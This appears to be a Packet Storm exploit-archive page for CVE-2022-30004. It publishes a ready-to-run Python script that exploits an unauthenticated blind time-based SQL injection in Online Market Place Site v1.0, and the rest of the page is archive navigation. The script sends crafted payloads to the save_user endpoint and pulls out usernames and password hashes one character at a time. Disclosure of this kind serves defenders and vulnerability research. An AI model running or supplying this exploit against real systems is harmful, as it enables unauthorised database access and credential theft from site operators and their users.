Online Market Place Site 1.0 SQL Injection

Authored by Joe Pollock

Posted Sep 5, 2022

Online Market Place Site version 1.0 suffers from an unauthenticated blind SQL injection vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.

tags | exploit, remote, sql injection
advisories | CVE-2022-30004
SHA-256 | 055275be279445d5466385d61a0e67c90bd2c9c88469b4e802f1402fe98446be Download | Favorite | View

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Online Market Place Site v1.0 - Unauthenticated Blind Time-Based SQL Injection
# Exploit Author: Joe Pollock
# Date: September 03, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: CVE-2022-30004 (RESERVED)
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
#   Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.
#   This script will retrieve a single username and associciated password hash from the omps_db database via blind, time-based SQL injection.
#   By default, the username & hash retrieved will have an ID equal to zero in the database, i.e. the first username and password hash.
#   Default behavior can be changed by setting the USERID variable. Sleep timings may also have to be adjusted to account for network latency.
#   Ex: python3 omps.py 10.14.14.2
import sys, requests, urllib3
USERID=0

def main():
  if len(sys.argv) != 2:
    print("(+) usage: %s <target>")  % sys.argv[0]
    print('(+) eg: %s 192.168.121.103')  % sys.argv[0]
    sys.exit(-1)
  ip = sys.argv[1]
  print("(+) Retrieving username and hash...")
  target = "http://%s/omps/classes/Users.php?f=save_user" % ip

  # Get username
  for p in range (1,30):
    injection_string = "AAAA' OR IF(ascii(MID((select username from omps_db.users LIMIT %d,1),%d,1))=[CHAR],sleep(1),0)-- -" % (USERID,p)
    for c in range(32, 126):
      files = {"username": (None, injection_string.replace("[CHAR]", str(c)))}
      #print(injection_string.replace("[CHAR]", str(c)))
      r = requests.post(target, files=files)
      if (r.elapsed.total_seconds() > 2):
        extracted_char = chr(c)
        sys.stdout.write(extracted_char)
        sys.stdout.flush()
  sys.stdout.write("\t")

  # Get password hash
  for p in range (1,65):
    injection_string = "AAAA' OR IF(ascii(MID((select password from omps_db.users LIMIT %d,1),%d,1))=[CHAR],sleep(1),0)-- -" % (USERID,p)
    for c in range(32, 126):
      files = {"username": (None, injection_string.replace("[CHAR]", str(c)))}
      #print(injection_string.replace("[CHAR]", str(c)))
      r = requests.post(target, files=files)
      if (r.elapsed.total_seconds() > 2):
        extracted_char = chr(c)
        sys.stdout.write(extracted_char)
        sys.stdout.flush()
  print("\n(+) done!")

if __name__ == "__main__":
  main()
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

packet storm

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed